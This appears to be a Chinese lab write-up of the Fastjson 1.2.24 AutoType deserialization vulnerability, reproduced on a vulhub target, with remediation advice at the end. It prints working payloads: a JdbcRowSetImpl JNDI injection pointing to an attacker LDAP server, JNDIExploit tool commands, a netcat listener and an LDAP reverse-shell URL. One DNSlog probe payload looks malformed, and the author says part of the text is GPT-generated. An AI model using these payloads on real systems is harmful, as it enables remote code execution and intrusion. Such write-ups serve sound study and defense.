漏洞复现靶场来自vulhub/fastjson 1.2.24
原文来自https://www.why403.cn/archives/3493
Fastjson简介
Fastjson是阿里巴巴开发的一个Java语言编写的高性能JSON库,用于将数据在Json和Java Object之间相互转换。它提供了两个主要接口:JSON.toJSONString
和 JSON.parseObject/JSON.parse
,分别实现序列化和反序列化。
AutoType功能
AutoType功能是Fastjson库中的一个特性,它允许在序列化和反序列化过程中指定或识别对象的具体类型。这个功能通常在序列化时通过添加@type
字段来实现,以便在反序列化时能够正确地重建对象的类型信息。
下面是一个使用AutoType功能的示例:
序列化阶段
假设我们有一个User
类,它具有两个属性:username
和password
。
public class User {
private String username;
private String password;
// 构造函数、getter和setter方法
public User(String username, String password) {
this.username = username;
this.password = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
}
现在,我们创建一个User
对象,并使用Fastjson将其序列化为JSON字符串,同时指定要将类名写入到序列化数据中:
User user = new User("Alice", "password123");
String jsonString = JSON.toJSONString(user, SerializerFeature.WriteClassName);
这将生成一个包含@type
字段的JSON字符串,例如:
{"@type":"com.example.User","password":"password123","username":"Alice"}
反序列化阶段
接下来,我们使用Fastjson将上述JSON字符串反序列化回User
对象:
User parsedUser = JSON.parseObject(jsonString, User.class);
在这个过程中,Fastjson会查看JSON字符串中的@type
字段,并根据该字段指定的类型信息来重建User
对象。即使在JSON字符串中没有提供完整的类路径信息,由于@type
字段的存在,Fastjson也能够正确地识别对象类型并进行反序列化。
这就是AutoType功能的一个典型应用场景,它使得序列化和反序列化过程中的对象类型信息得以保留和识别,从而确保对象能够被正确地处理。然而,这个特性也可能导致安全漏洞,如果恶意用户能够控制JSON数据,他们可能会利用AutoType功能来执行不安全的反序列化操作。因此,在使用Fastjson进行序列化和反序列化时,应当注意相关的安全风险,并采取适当的防护措施。
所以Fastjson产生漏洞的关键就在于@type
的可控性,攻击者只用将@type指定为一个特定且服务端可以使用的类,就能达到攻击者想要的结果。所以Fastjson漏洞任然是Java反序列化漏洞
漏洞原理
Fastjson的反序列化漏洞主要存在于其处理带有@type
字段的JSON字符串时。@type
字段用于标识JSON字符串中的某个属性是一个Java对象的类型。当Fastjson在反序列化过程中遇到@type
字段时,它会根据该字段的值来确定反序列化后的Java对象的类型,并调用这个类的setter方法。既然这样就可以在@type
中指定特定的java类,这个java类我们可以利用来构造恶意代码。
漏洞利用思路
到这里就出现了三个问题:
- 如果服务端没有我们可以构造恶意代码的java类怎么办?
- 我们应该选用什么java类来构造恶意代码呢?
- 哪些已有类的setter方法可以被我们所利用?
如果服务端没有我们可以构造恶意代码的java类怎么办?
既然服务端没有我们可以利用的java类就可以从外站调用我们自己构造好的类,这里类似于XSS的利用,从一个我们自己搭建的服务器在入恶意代码运行
根据上述三个问题以下是一些常被用于构造java反序列化漏洞利用的类
攻击者可以通过构造特定的JSON字符串来执行任意代码。以下是一些经常被用于构造Fastjson反序列化漏洞攻击的Java类:
com.sun.rowset.JdbcRowSetImpl
:这个类是Fastjson反序列化漏洞中最常被利用的类之一。它有一个dataSourceName
属性,该属性可以被用来构造JNDI注入攻击,通过访问远程RMI或LDAP服务器来执行恶意代码。com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
:这个类与XSLT处理相关,攻击者可以利用它来执行恶意的XSLT转换,从而触发代码执行。org.apache.shiro.jndi.JndiObjectFactory
:这个类是Apache Shiro框架中的一个类,可以被用来进行JNDI注入攻击,类似于com.sun.rowset.JdbcRowSetImpl
的使用方式。java.lang.Class
:通过java.lang.Class
类,攻击者可以尝试加载并实例化恶意类,这通常涉及到利用黑名单绕过技术。java.net.URL
和java.net.Inet4Address
或java.net.Inet6Address
:这些类可以被用来构造支付负载,通过DNS日志或远程服务器地址的查询来进行漏洞验证和攻击java.lang.Runtime
:可以用于执行系统命令。java.lang.ProcessBuilder
:可以用于执行系统命令,并且可以设置环境变量等参数。java.net.URLClassLoader
:可以用于动态加载类文件,从而执行任意代码。java.lang.reflect.Proxy
:可以用于创建动态代理对象,从而执行任意代码。
这里提供一种思路也是最常用的思路——构造JNDI注入
利用com.sun.rowset.JdbcRowSetImpl
类构造JNDI注入攻击,通过访问远程RMI或LDAP服务器来执行恶意代码。
利用过程
在fastjson中我们使用JdbcRowSetImpl
进行反序列化的攻击,我们给此类中的setDataSourcesName
输入恶意内容(rmi链接或ldap链接),让目标服务在反序列化的时候,请求rmi服务器,执行ldap服务器下发的命令,从而导致远程命令执行漏洞
漏洞验证
Fastjson漏洞利用常用pochttps://github.com/safe6Sec/Fastjson
dnslog测试漏洞
{"a":{"@type":"java.net.InetSocketAddress"{"address":,"val":"63irw2.dnslog.cn"}}} // Fastjson<=1.2.68
{"a":{{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}} // Fastjson<=1.2.24
漏洞利用
Fastjson反序列化漏洞利用EXP
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://10.10.10.1:1389/Exploit","autoCommit":true}
相当于构造了JNDI注入漏洞
JNDI
JNDI,即Java Naming and Directory Interface(Java命名和目录接口),是一个Java平台的API,它提供了一种统一的客户端API,允许Java应用程序与各种命名和目录服务进行交互。JNDI的核心作用是使得应用程序能够查找和访问各种资源,如数据库、消息队列、远程对象等,而无需关心这些资源的具体位置或实现细节。
JNDI注入
JNDI是Java提供的一个API,用于访问各种命名和目录服务。它允许应用程序通过名称来查找对象,而不需要关心对象的具体位置或实现细节。JNDI注入漏洞通常发生在应用程序使用JNDI API进行远程查找(Lookup)时,如果查找的参数(通常是一个URL)可以被外部控制或注入,攻击者就可以利用这个漏洞来指定恶意的资源,导致应用程序加载并执行攻击者指定的代码。
利用工具
JNDIExploit-1.4-SNAPSHOT.jar
查看可以执行的payload
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 10.10.10.1 -u
漏洞利用-1
尝试在/tmp下创建文件
将命令echo 'vulnhub' > /tmp/2.txt
base64编码
构造第三方恶意方法:
建立监听 java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 10.10.10.1
复制构造好的payload到EXP中发送,可以在JNDIExploit日志中看到接收到靶机发送过来的方法请求,并将命令base64解码,将恶意方法发送回靶机让其执行
在docker控制台中看到新增文件2.txt
漏洞利用-2
反弹shell
kali 建立监听
nc -lvnp 7777
利用payload
ldap://10.10.10.1:1389/Basic/ReverseShell/10.10.10.128/7777
kali成功监听到反弹shell
漏洞修复
-
升级到最新版本:官方推荐的做法是升级到Fastjson的最新版本,因为新版本通常会修复已知的安全漏洞。例如,针对1.2.80及以下版本的漏洞,官方建议升级到1.2.83版本。新版本中,官方已经更新了autotype安全黑名单,并修复了相关漏洞。
-
开启SafeMode:Fastjson 1.2.68版本引入了safeMode配置,用户可以通过开启SafeMode来提高安全性。开启safeMode后,无论白名单和黑名单,都不支持autoType,这可以有效防止通过autoType执行恶意反序列化操作。但需要注意的是,开启safeMode可能会对业务产生影响,因此在操作前应进行充分的评估和测试。
-
使用fastjson v2:Fastjson已经开源了2.0版本,该版本在安全性上做了大幅提升,不再为了兼容提供白名单,并且代码已经重写,性能得到了提升。但由于不完全兼容1.x版本,升级到v2需要进行认真的兼容测试。
-
配置WAF防护:对于使用华为云WAF的用户,可以通过将“Web基础防护”状态设置为“拦截”模式来防御Fastjson漏洞,具体配置方法可以参考官方文档。
-
关闭autoType功能:如果暂时无法升级Fastjson版本,可以通过关闭autoType功能来降低风险。autoType功能允许在反序列化时动态确定对象类型,但这也增加了安全风险。关闭该功能可以避免潜在的反序列化漏洞。
-
备份与测试:在进行任何修复措施之前,应该备份相关数据和配置。同时,所有的修复措施都应该在测试环境中先行验证,确保不会对生产环境造成不利影响。
-
安全加固措施:除了上述措施外,还应采取其他安全加固措施,如限制外部输入、加强网络隔离、定期进行安全审计等。
-
替换方案:如果Fastjson的安全性问题无法得到有效解决,或者升级过程中遇到不可克服的兼容性问题,可以考虑使用其他JSON处理库作为替代,如Gson等。
总之,修复Fastjson漏洞需要综合考虑当前系统的具体情况,采取合适的修复措施,并进行充分的测试和验证,以确保系统的安全性和稳定性。同时,保持对Fastjson官方更新的关注,及时跟进最新的安全动态和修复建议。
部分内容又GPT生成欢迎评论区纠正补充
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)